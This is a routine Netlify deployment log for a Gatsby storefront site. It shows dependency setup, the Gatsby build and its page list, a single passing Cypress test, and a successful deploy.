11:37:30 PM: npm audit fix --force 11:37:30 PM: Some issues need review, and may require choosing 11:37:30 PM: a different dependency. 11:37:30 PM: Run `npm audit` for details. 11:37:30 PM: NPM modules installed 11:37:31 PM: npm WARN config tmp This setting is no longer used. npm stores temporary files in a special 11:37:31 PM: npm WARN config location in the cache, and they are managed by 11:37:31 PM: npm WARN config [`cacache`](http://npm.im/cacache). 11:37:31 PM: Started restoring cached go cache 11:37:31 PM: Finished restoring cached go cache 11:37:31 PM: Installing Go version 1.17 (requested 1.17) 11:37:36 PM: unset GOOS; 11:37:36 PM: unset GOARCH; 11:37:36 PM: export GOROOT='/opt/buildhome/.gimme/versions/go1.17.linux.amd64'; 11:37:36 PM: export PATH="/opt/buildhome/.gimme/versions/go1.17.linux.amd64/bin:${PATH}"; 11:37:36 PM: go version >&2; 11:37:36 PM: export GIMME_ENV="/opt/buildhome/.gimme/env/go1.17.linux.amd64.env" 11:37:37 PM: go version go1.17 linux/amd64 11:37:37 PM: Installing missing commands 11:37:37 PM: Verify run directory 11:37:38 PM: 11:37:38 PM: ──────────────────────────────────────────────────────────────── 11:37:38 PM: Netlify Build 11:37:38 PM: ──────────────────────────────────────────────────────────────── 11:37:38 PM: 11:37:38 PM: ❯ Version 11:37:38 PM: @netlify/build 27.3.0 11:37:38 PM: 11:37:38 PM: ❯ Flags 11:37:38 PM: baseRelDir: true 11:37:38 PM: buildId: 62b9ce60232d3454599e9b1c 11:37:38 PM: deployId: 62b9ce60232d3454599e9b1e 11:37:38 PM: 11:37:38 PM: ❯ Current directory 11:37:38 PM: /opt/build/repo 11:37:38 PM: 11:37:38 PM: ❯ Config file 11:37:38 PM: /opt/build/repo/netlify.toml 11:37:38 PM: 11:37:38 PM: ❯ Context 11:37:38 PM: production 11:37:38 PM: 11:37:38 PM: ❯ Loading plugins 11:37:38 PM: - @netlify/plugin-gatsby@3.2.4 from netlify.toml and package.json 11:37:38 PM: - netlify-plugin-cypress@2.2.0 from netlify.toml and package.json 11:37:40 PM: 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 1. @netlify/plugin-gatsby (onPreBuild event) 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 11:37:40 PM: No Gatsby cache found. Building fresh. 11:37:40 PM: 11:37:40 PM: (@netlify/plugin-gatsby onPreBuild completed in 17ms) 11:37:40 PM: 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 2. netlify-plugin-cypress (onPreBuild event) 11:37:40 PM: ──────────────────────────────────────────────────────────────── 11:37:40 PM: 11:37:41 PM: [STARTED] Task without title. 11:37:44 PM: [SUCCESS] Task without title. 11:37:46 PM: [2266:0627/153746.716704:ERROR:zygote_host_impl_linux.cc(263)] Failed to adjust OOM score of renderer with pid 2420: Permission denied (13) 11:37:46 PM: [2420:0627/153746.749095:ERROR:sandbox_linux.cc(377)] InitializeSandbox() called with multiple threads in process gpu-process. 11:37:46 PM: [2420:0627/153746.764711:ERROR:gpu_memory_buffer_support_x11.cc(44)] dri3 extension not supported. 11:37:46 PM: Displaying Cypress info... 11:37:46 PM: Detected no known browsers installed 11:37:46 PM: Proxy Settings: none detected 11:37:46 PM: Environment Variables: 11:37:46 PM: CYPRESS_CACHE_FOLDER: ./node_modules/.cache/CypressBinary 11:37:46 PM: Application Data: /opt/buildhome/.config/cypress/cy/development 11:37:46 PM: Browser Profiles: /opt/buildhome/.config/cypress/cy/development/browsers 11:37:46 PM: Binary Caches: /opt/build/repo/node_modules/.cache/CypressBinary 11:37:46 PM: Cypress Version: 10.2.0 (stable) 11:37:46 PM: System Platform: linux (Ubuntu - 20.04) 11:37:46 PM: System Memory: 32.8 GB free 27.9 GB 11:37:47 PM: 11:37:47 PM: (netlify-plugin-cypress onPreBuild completed in 6.2s) 11:37:47 PM: 11:37:47 PM: ──────────────────────────────────────────────────────────────── 11:37:47 PM: 3. build.command from netlify.toml 11:37:47 PM: ──────────────────────────────────────────────────────────────── 11:37:47 PM: 11:37:47 PM: $ gatsby build 11:37:49 PM: success open and validate gatsby-configs, load plugins - 0.298s 11:37:49 PM: success onPreInit - 0.003s 11:37:49 PM: success initialize cache - 0.107s 11:37:49 PM: success copy gatsby files - 0.044s 11:37:49 PM: success Compiling Gatsby Functions - 0.251s 11:37:49 PM: success onPreBootstrap - 0.259s 11:37:50 PM: success createSchemaCustomization - 0.000s 11:37:50 PM: success Checking for changed pages - 0.000s 11:37:50 PM: success source and transform nodes - 0.154s 11:37:50 PM: info Writing GraphQL type definitions to /opt/build/repo/.cache/schema.gql 11:37:50 PM: success building schema - 0.402s 11:37:50 PM: success createPages - 0.000s 11:37:50 PM: success createPagesStatefully - 0.312s 11:37:50 PM: info Total nodes: 49, SitePage nodes: 26 (use --verbose for breakdown) 11:37:50 PM: success Checking for changed pages - 0.000s 11:37:50 PM: success onPreExtractQueries - 0.000s 11:37:54 PM: success extract queries from components - 3.614s 11:37:54 PM: success write out redirect data - 0.006s 11:37:54 PM: success Build manifest and related icons - 0.468s 11:37:54 PM: success onPostBootstrap - 0.469s 11:37:54 PM: info bootstrap finished - 7.967s 11:37:54 PM: success write out requires - 0.009s 11:38:19 PM: success Building production JavaScript and CSS bundles - 24.472s 11:38:38 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'mini-css-extract-plugin /opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Footer/Footer.module.css|0|Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Footer/Footer.module.css': No serializer registered for Warning 11:38:38 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:38 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'mini-css-extract-plugin /opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Header/Header.module.css|0|Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[1]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[10].oneOf[0].use[2]!/opt/build/repo/src/components/Header/Header.module.css': No serializer registered for Warning 11:38:38 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:39 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[0]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[1]!/opt/build/repo/src/components/Footer/Footer.module.css': No serializer registered for Warning 11:38:39 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:39 PM: <w> [webpack.cache.PackFileCacheStrategy] Skipped not serializable cache item 'Compilation/modules|/opt/build/repo/node_modules/css-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[0]!/opt/build/repo/node_modules/postcss-loader/dist/cjs.js??ruleSet[1].rules[9].oneOf[0].use[1]!/opt/build/repo/src/components/Header/Header.module.css': No serializer registered for Warning 11:38:39 PM: <w> while serializing webpack/lib/cache/PackFileCacheStrategy.PackContentItems -> webpack/lib/NormalModule -> Array { 1 items } -> webpack/lib/ModuleWarning -> Warning 11:38:41 PM: success Building HTML renderer - 21.648s 11:38:41 PM: success Execute page configs - 0.024s 11:38:41 PM: success Caching Webpack compilations - 0.000s 11:38:41 PM: success run queries in workers - 0.042s - 26/26 621.26/s 11:38:41 PM: success Merge worker state - 0.001s 11:38:41 PM: success Rewriting compilation hashes - 0.001s 11:38:41 PM: success Writing page-data.json files to public directory - 0.014s - 26/26 1818.92/s 11:38:45 PM: success Building static HTML for pages - 4.353s - 26/26 5.97/s 11:38:45 PM: info [gatsby-plugin-netlify] Creating SSR/DSG redirects... 11:38:45 PM: info [gatsby-plugin-netlify] Created 0 SSR/DSG redirects... 11:38:45 PM: success onPostBuild - 0.011s 11:38:45 PM: 11:38:45 PM: Pages 11:38:45 PM: ┌ src/pages/404.js 11:38:45 PM: │ ├ /404/ 11:38:45 PM: │ └ /404.html 11:38:45 PM: ├ src/pages/about.js 11:38:45 PM: │ └ /about/ 11:38:45 PM: ├ src/pages/accountSuccess.js 11:38:45 PM: │ └ /accountSuccess/ 11:38:45 PM: ├ src/pages/cart.js 11:38:45 PM: │ └ /cart/ 11:38:45 PM: ├ src/pages/faq.js 11:38:45 PM: │ └ /faq/ 11:38:45 PM: ├ src/pages/forgot.js 11:38:45 PM: │ └ /forgot/ 11:38:45 PM: ├ src/pages/how-to-use.js 11:38:45 PM: │ └ /how-to-use/ 11:38:45 PM: ├ src/pages/index.js 11:38:45 PM: │ └ / 11:38:45 PM: ├ src/pages/login.js 11:38:45 PM: │ └ /login/ 11:38:45 PM: ├ src/pages/orderConfirm.js 11:38:45 PM: │ └ /orderConfirm/ 11:38:45 PM: ├ src/pages/search.js 11:38:45 PM: │ └ /search/ 11:38:45 PM: ├ src/pages/shop.js 11:38:45 PM: │ └ /shop/ 11:38:45 PM: ├ src/pages/shopV2.js 11:38:45 PM: │ └ /shopV2/ 11:38:45 PM: ├ src/pages/signup.js 11:38:45 PM: │ └ /signup/ 11:38:45 PM: ├ src/pages/styling.js 11:38:45 PM: │ └ /styling/ 11:38:45 PM: ├ src/pages/support.js 11:38:45 PM: │ └ /support/ 11:38:45 PM: ├ src/pages/account/address.js 11:38:45 PM: │ └ /account/address/ 11:38:45 PM: ├ src/pages/account/favorites.js 11:38:45 PM: │ └ /account/favorites/ 11:38:45 PM: ├ src/pages/account/index.js 11:38:45 PM: │ └ /account/ 11:38:45 PM: ├ src/pages/account/orders.js 11:38:45 PM: │ └ /account/orders/ 11:38:45 PM: ├ src/pages/account/settings.js 11:38:45 PM: │ └ /account/settings/ 11:38:45 PM: ├ src/pages/account/viewed.js 11:38:45 PM: │ └ /account/viewed/ 11:38:45 PM: ├ src/pages/blog/index.js 11:38:45 PM: │ └ /blog/ 11:38:45 PM: ├ src/pages/blog/sample.js 11:38:45 PM: │ └ /blog/sample/ 11:38:45 PM: └ src/pages/product/sample.js 11:38:45 PM: └ /product/sample/ 11:38:45 PM: ╭────────────────────────────────────────────────────────────────────╮ 11:38:45 PM: │ │ 11:38:45 PM: │ (SSG) Generated at build time │ 11:38:45 PM: │ D (DSG) Deferred static generation - page generated at runtime │ 11:38:45 PM: │ ∞ (SSR) Server-side renders at runtime (uses getServerData) │ 11:38:45 PM: │ λ (Function) Gatsby function │ 11:38:45 PM: │ │ 11:38:45 PM: ╰────────────────────────────────────────────────────────────────────╯ 11:38:45 PM: info Done building in 58.825944508 sec 11:38:46 PM: 11:38:46 PM: (build.command completed in 59s) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 4. @netlify/plugin-gatsby (onBuild event) 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:46 PM: Skipping Gatsby Functions and SSR/DSG support 11:38:46 PM: 11:38:46 PM: (@netlify/plugin-gatsby onBuild completed in 9ms) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 5. Functions bundling 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:46 PM: The Netlify Functions setting targets a non-existing directory: netlify/functions 11:38:46 PM: 11:38:46 PM: (Functions bundling completed in 3ms) 11:38:46 PM: 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 6. @netlify/plugin-gatsby (onPostBuild event) 11:38:46 PM: ──────────────────────────────────────────────────────────────── 11:38:46 PM: 11:38:47 PM: Skipping Gatsby Functions and SSR/DSG support 11:38:47 PM: 11:38:47 PM: (@netlify/plugin-gatsby onPostBuild completed in 1.4s) 11:38:47 PM: 11:38:47 PM: ──────────────────────────────────────────────────────────────── 11:38:47 PM: 7. netlify-plugin-cypress (onPostBuild event) 11:38:47 PM: ──────────────────────────────────────────────────────────────── 11:38:47 PM: 11:38:49 PM: [2557:0627/153849.751277:ERROR:zygote_host_impl_linux.cc(263)] Failed to adjust OOM score of renderer with pid 2711: Permission denied (13) 11:38:49 PM: [2711:0627/153849.770005:ERROR:sandbox_linux.cc(377)] InitializeSandbox() called with multiple threads in process gpu-process. 11:38:49 PM: [2711:0627/153849.773016:ERROR:gpu_memory_buffer_support_x11.cc(44)] dri3 extension not supported. 11:38:52 PM: Couldn't find tsconfig.json. tsconfig-paths will be skipped 11:38:52 PM: tput: No value for $TERM and no -T specified 11:38:52 PM: ==================================================================================================== 11:38:52 PM: (Run Starting) 11:38:52 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:38:52 PM: │ Cypress: 10.2.0 │ 11:38:52 PM: │ Browser: Custom Chromium 90 (headless) │ 11:38:52 PM: │ Node Version: v16.15.1 (/opt/buildhome/.nvm/versions/node/v16.15.1/bin/node) │ 11:38:52 PM: │ Specs: 1 found (basic.cy.js) │ 11:38:52 PM: │ Searched: cypress/e2e/**/*.cy.{js,jsx,ts,tsx} │ 11:38:52 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:38:52 PM: ──────────────────────────────────────────────────────────────────────────────────────────────────── 11:38:52 PM: Running: basic.cy.js (1 of 1) 11:38:56 PM: 11:38:56 PM: sample render test 11:38:58 PM: ✓ displays the title text (2517ms) 11:38:58 PM: 1 passing (3s) 11:39:00 PM: (Results) 11:39:00 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:39:00 PM: │ Tests: 1 │ 11:39:00 PM: │ Passing: 1 │ 11:39:00 PM: │ Failing: 0 │ 11:39:00 PM: │ Pending: 0 │ 11:39:00 PM: │ Skipped: 0 │ 11:39:00 PM: │ Screenshots: 0 │ 11:39:00 PM: │ Video: true │ 11:39:00 PM: │ Duration: 2 seconds │ 11:39:00 PM: │ Spec Ran: basic.cy.js │ 11:39:00 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:39:00 PM: (Video) 11:39:00 PM: - Started processing: Compressing to 32 CRF 11:39:01 PM: - Finished processing: /opt/build/repo/cypress/videos/basic.cy.js.mp4 (1 second) 11:39:01 PM: tput: No value for $TERM and no -T specified 11:39:01 PM: ==================================================================================================== 11:39:01 PM: (Run Finished) 11:39:01 PM: Spec Tests Passing Failing Pending Skipped 11:39:01 PM: ┌────────────────────────────────────────────────────────────────────────────────────────────────┐ 11:39:01 PM: Creating deploy upload records 11:39:01 PM: │ ✔ basic.cy.js 00:02 1 1 - - - │ 11:39:01 PM: └────────────────────────────────────────────────────────────────────────────────────────────────┘ 11:39:01 PM: ✔ All specs passed! 00:02 1 1 - - - 11:39:01 PM: 11:39:01 PM: (netlify-plugin-cypress onPostBuild completed in 14s) 11:39:01 PM: 11:39:01 PM: ──────────────────────────────────────────────────────────────── 11:39:01 PM: 8. Deploy site 11:39:01 PM: ──────────────────────────────────────────────────────────────── 11:39:01 PM: 11:39:01 PM: Starting to deploy site from 'public' 11:39:01 PM: Creating deploy tree 11:39:01 PM: 0 new files to upload 11:39:01 PM: 0 new functions to upload 11:39:02 PM: Starting post processing 11:39:02 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:02 PM: Post processing - HTML 11:39:02 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing - header rules 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing - redirect rules 11:39:03 PM: Incorrect TOML configuration format: Key inputs is already used as table key 11:39:03 PM: Post processing done 11:39:07 PM: Site is live ✨ 11:39:07 PM: Finished waiting for live deploy in 6.137803722s 11:39:07 PM: Site deploy was successfully initiated 11:39:07 PM: 11:39:07 PM: (Deploy site completed in 6.4s) 11:39:07 PM: 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 9. @netlify/plugin-gatsby (onSuccess event) 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 11:39:07 PM: 11:39:07 PM: (@netlify/plugin-gatsby onSuccess completed in 5ms) 11:39:07 PM: 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 10. netlify-plugin-cypress (onSuccess event) 11:39:07 PM: ──────────────────────────────────────────────────────────────── 11:39:07 PM: 11:39:07 PM: 11:39:07 PM: (netlify-plugin-cypress onSuccess completed in 6ms) 11:39:08 PM: 11:39:08 PM: ──────────────────────────────────────────────────────────────── 11:39:08 PM: Netlify Build Complete 11:39:08 PM: ──────────────────────────────────────────────────────────────── 11:39:08 PM: 11:39:08 PM: (Netlify Build completed in 1m 29.4s) 11:39:08 PM: Caching artifacts 11:39:08 PM: Started saving node modules 11:39:08 PM: Finished saving node modules 11:39:08 PM: Started saving build plugins 11:39:08 PM: Finished saving build plugins 11:39:08 PM: Started saving pip cache 11:39:08 PM: Finished saving pip cache 11:39:08 PM: Started saving emacs cask dependencies 11:39:08 PM: Finished saving emacs cask dependencies 11:39:08 PM: Started saving maven dependencies 11:39:08 PM: Finished saving maven dependencies 11:39:08 PM: Started saving boot dependencies 11:39:08 PM: Finished saving boot dependencies 11:39:08 PM: Started saving rust rustup cache 11:39:08 PM: Finished saving rust rustup cache 11:39:08 PM: Started saving go dependencies 11:39:08 PM: Finished saving go dependencies 11:39:10 PM: Build script success 11:39:10 PM: Pushing to repository git@github.com:Lhagawajaw/hymd-baraa 11:40:32 PM: Finished processing build request in 4m30.278982258s